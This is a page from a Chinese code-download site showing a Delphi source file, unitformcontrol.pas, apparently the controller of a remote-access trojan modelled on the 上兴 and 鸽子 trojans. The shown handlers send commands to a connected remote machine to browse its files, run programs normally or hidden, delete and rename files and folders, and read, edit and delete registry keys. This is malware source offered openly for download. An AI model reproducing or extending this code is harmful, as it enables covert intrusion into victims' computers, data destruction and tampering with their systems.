⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitformcontrol.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
📖 第 1 页 / 共 5 页
字号:
end;



procedure TFormControl.ListViewArchivosDblClick(Sender: TObject);
begin

  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    Exit;
  end;

  if ListViewArchivos.Selected = nil then
    MessageDlg('选择一个项目!', mtWarning, [mbok], 0)
  else
  begin
  StatusBar.Panels[1].Text := '文件列表中...';
    if ListViewArchivos.Selected.Caption = '<..>' then
    begin
      EditPathArchivos.Text := Copy(EditPathArchivos.Text, 1, Length(EditPathArchivos.Text) - 1); //Borra el ultimo '\'
      EditPathArchivos.Text := Copy(EditPathArchivos.Text, 1, LastDelimiter('\', EditPathArchivos.Text));
      Servidor.Connection.Writeln('LISTARARCHIVOS|' + EditPathArchivos.Text);
    end
    else if ListViewArchivos.Selected.ImageIndex = 1 then
    begin
      ListViewArchivos.Selected.ImageIndex := 0;
      EditPathArchivos.Text := EditPathArchivos.Text + ListViewArchivos.Selected.Caption + '\';
      Servidor.Connection.Writeln('LISTARARCHIVOS|' + EditPathArchivos.Text);
    end
    else
    begin
    end;
 end;
end;
procedure TFormControl.ListViewArchivosContextPopup(Sender: TObject;
  MousePos: TPoint; var Handled: Boolean);
begin
  if ListViewArchivos.Selected <> nil then
  begin
    if (ListViewArchivos.Selected.ImageIndex = 1) then  
    begin
      PopupFileManager.Items[0].Enabled := False;
      PopupFileManager.Items[1].Enabled := False;
      PopupFileManager.Items[4].Enabled := False;
    end
    else
    begin
      PopupFileManager.Items[0].Enabled := True;
      PopupFileManager.Items[1].Enabled := True;
      PopupFileManager.Items[4].Enabled := True;
    end;
    PopupFileManager.Items[4].Enabled := True;
    PopupFileManager.Items[5].Enabled := True;
    PopupFileManager.Items[6].Enabled := True;
  end
  else
  begin
    PopupFileManager.Items[0].Enabled := False;
    PopupFileManager.Items[1].Enabled := False;
    PopupFileManager.Items[3].Enabled := False;
    PopupFileManager.Items[4].Enabled := False;
    PopupFileManager.Items[5].Enabled := False;
    PopupFileManager.Items[6].Enabled := False;
    if EditPathArchivos.Text = '' then
      PopupFileManager.Items[7].Enabled := False;
  end;
end;

procedure TFormControl.Normal1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  try
    Servidor.Connection.Writeln('EXEC|NORMAL|' + EditPathArchivos.Text + ListViewArchivos.Selected.Caption)
      except
      end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.Oculto1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  try
    Servidor.Connection.Writeln('EXEC|OCULTO|' + EditPathArchivos.Text + ListViewArchivos.Selected.Caption)
      except
      end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.EliminarClick(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if ListViewArchivos.Selected.ImageIndex = 1 then
    begin
      if MessageDlg('确认删除文件夹? ' + ListViewArchivos.Selected.Caption + '?', mtConfirmation, [MbYes, MBNo], 0) <> IdNo then
try
        Servidor.Connection.Writeln('DELFOLDER|' + EditPathArchivos.Text + ListViewArchivos.Selected.Caption);
      except
      end;
    end
    else
      if MessageDlg('确认删除文件? ' + ListViewArchivos.Selected.Caption + '?', mtConfirmation, [MbYes, MBNo], 0) <> IdNo then
try
        Servidor.Connection.Writeln('DELFILE|' + EditPathArchivos.Text + ListViewArchivos.Selected.Caption);
      except
      end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.Cambiarnombre1Click(Sender: TObject);
begin

  ListViewArchivos.Selected.EditCaption;
end;

procedure TFormControl.ListViewArchivosEdited(Sender: TObject;
  Item: TListItem; var S: String);
begin
  if Servidor.Connection.Connected then
  begin
    if S = '' then begin  S := Item.Caption; Exit; end;
    if (Pos('|', S) <> 0) or (Pos('*', S) <> 0) or (Pos('\', S) <> 0) or (Pos('/', S) <> 0) or (Pos(':', S) <> 0) or
       (Pos('?', S) <> 0) or (Pos('"', S) <> 0) or (Pos('<', S) <> 0) or (Pos('>', S) <> 0) then
    begin
      MessageDlg('名字不能包含以下非法字符: */\?"<>|', MtError, [mbOK], 0);
      S := Item.Caption;
    end
    else
try
      Servidor.Connection.Writeln('RENAME|' + EditPathArchivos.Text + ListViewArchivos.Selected.Caption + '|' + EditPathArchivos.Text + S);
      except
      end;
    end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.Crearnuevacarpeta1Click(Sender: TObject);
var
  DirName : string;
begin
  if Servidor.Connection.Connected then
  begin
    DirName := InputBox('新建文件夹', '新建文件夹', 'Nueva carpeta');
    if DirName <> '' then
    begin
      if DirName[Length(DirName)] <> '\' then
        DirName := DirName + '\';
        try
      Servidor.Connection.Writeln('MKDIR|' + EditPathArchivos.Text + DirName);
      except
      end;
    end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.BtnActualizarArchivosClick(Sender: TObject);
begin

  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    Exit;
  end;

  if Length(EditPathArchivos.Text) <3 then
  begin
    MessageDlg('未选择硬盘', mtWarning, [mbok], 0);
    exit;
  end;
  if EditPathArchivos.Text[Length(EditPathArchivos.Text)] <> '\' then
     EditPathArchivos.Text := EditPathArchivos.Text + '\';
 try
  Servidor.Connection.Writeln('LISTARARCHIVOS|' + EditPathArchivos.Text);
        except
      end;
  end;


function TFormControl.ObtenerRutaAbsolutaDeArbol(Nodo: TTreeNode): String;
begin
  repeat
    Result := Nodo.Text + '\' + Result;
    Nodo := Nodo.Parent;
  until not Assigned(Nodo);
end;

procedure TFormControl.TreeViewRegeditChange(Sender: TObject;
  Node: TTreeNode);
begin

  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    Exit;
  end;

  if TreeViewRegedit.Selected <> nil then
  begin
    EditPathRegistro.Text := ObtenerRutaAbsolutaDeArbol(TreeViewRegedit.Selected);
try
    Servidor.Connection.Writeln('LISTARVALORES|' + EditPathRegistro.Text);
      except
      end;
  end;
end;

procedure TFormControl.TreeViewRegeditDblClick(Sender: TObject);
begin
  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    Exit;
  end;
 try
  Servidor.Connection.Writeln('LISTARCLAVES|' + EditPathRegistro.Text);
        except
      end;
  end;

procedure TFormControl.AniadirClavesARegistro(Claves: String);
var
  Nodo: TTreeNode;
  Clave: String;
begin

  TreeViewRegedit.Selected.DeleteChildren;
  while Pos('|', Claves) > 0 do
  begin
    Clave := Copy(Claves, 1, Pos('|', Claves) - 1);
    Nodo := TreeViewRegedit.Items.AddChild(TreeViewRegedit.Selected, Clave);

    Nodo.ImageIndex := 1;

    Nodo.SelectedIndex := 0;
    Delete(Claves, 1, Pos('|', Claves));
  end;
  TreeViewRegedit.Selected.Expand(False);
end;

procedure TFormControl.AniadirValoresARegistro(Valores: String);
var
  Item: TListItem;
  Tipo: String;
begin
  ListViewRegistro.Clear;
  while Pos('|', Valores) > 0 do
  begin
  try
    Item := ListViewRegistro.Items.Add;
      except
      end;
      try
    Item.Caption := Copy(Valores, 1, Pos('|', Valores) - 1);
      except
      end;
    Delete(Valores, 1, Pos('|', Valores));

    Tipo := Copy(Valores, 1, Pos('|', Valores) - 1);

    if (Tipo = 'REG_BINARY') or (Tipo = 'REG_DWORD') then
      Item.ImageIndex := 16
    else
      Item.ImageIndex := 15;
try
    Item.SubItems.Add(Tipo);
      except
      end;
    Delete(Valores, 1, Pos('|', Valores));
try
    Item.SubItems.Add(Copy(Valores, 1, Pos('|', Valores) - 1));

      except
      end;
    Delete(Valores, 1, Pos('|', Valores));
  end;
end;

procedure TFormControl.BtnVerRegistoClick(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  try
    Servidor.Connection.Writeln('LISTARVALORES|' + EditPathRegistro.Text)
      except
      end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.N1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if PopupRegistro.PopupComponent.ClassType  = TListView then
    begin
      if ListViewRegistro.Selected <> nil then

        ListViewRegistro.Selected.EditCaption;
    end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.ListViewRegistroEdited(Sender: TObject;
  Item: TListItem; var S: String);
begin

  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    Exit;
  end;
try
  Servidor.Connection.Writeln('NEWNOMBREVALOR|' + EditPathRegistro.Text + '|' + Item.Caption + '|' + S);
        except
      end;
  end;

procedure TFormControl.Eliminar1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if PopupRegistro.PopupComponent.ClassType  = TListView then
    begin
      if MessageDlg('确认键值操作 ' + ListViewRegistro.Selected.Caption + '?', mtConfirmation, [MbYes, MBNo], 0) <> IdNo then
try
        Servidor.Connection.Writeln('BORRARREGISTRO|' + EditPathRegistro.Text + ListViewRegistro.Selected.Caption);
      except
      end;
    end
    else
      if MessageDlg('确认键值操作 ' + TreeViewRegedit.Selected.Text + '?', mtConfirmation, [MbYes, MBNo], 0) <> IdNo then
try
        Servidor.Connection.Writeln('BORRARREGISTRO|' + EditPathRegistro.Text);
      except
      end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.Valoralfanumrico1Click(Sender: TObject);
var
  NewRegistro: TFormReg;
begin
  if Servidor.Connection.Connected then
  begin
    NewRegistro := TFormReg.Create(self, Servidor, EditPathRegistro.Text, 'REG_SZ');
    NewRegistro.ShowModal;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.Valorbinerio1Click(Sender: TObject);
var
  NewRegistro: TFormReg;
begin
  if Servidor.Connection.Connected then
  begin
    NewRegistro := TFormReg.Create(self, Servidor, EditPathRegistro.Text, 'REG_BINARY');
    NewRegistro.ShowModal;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.valorDWORD1Click(Sender: TObject);
var
  NewRegistro: TFormReg;
begin
  if Servidor.Connection.Connected then
  begin
    NewRegistro := TFormReg.Create(self, Servidor, EditPathRegistro.Text, 'REG_DWORD');
    NewRegistro.ShowModal;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.Valordecadenamltiple1Click(Sender: TObject);
var
  NewRegistro: TFormReg;
begin
  if Servidor.Connection.Connected then
  begin
    NewRegistro := TFormReg.Create(self, Servidor, EditPathRegistro.Text, 'REG_MULTI_SZ');
    NewRegistro.ShowModal;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;

procedure TFormControl.TreeViewRegeditContextPopup(Sender: TObject;
  MousePos: TPoint; var Handled: Boolean);
begin

  if TreeViewRegedit.GetNodeAt(MousePos.X, MousePos.Y) <> nil then
  begin
    TreeViewRegedit.Selected := TreeViewRegedit.GetNodeAt(MousePos.X, MousePos.Y);
    PopupRegistro.Items[1].Enabled := False;
    PopupRegistro.Items[2].Enabled := False;
    PopupRegistro.Items[3].Enabled := True;
  end
  else
  begin
    PopupRegistro.Items[1].Enabled := False;
    PopupRegistro.Items[2].Enabled := False;
    PopupRegistro.Items[3].Enabled := False;
  end;
end;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -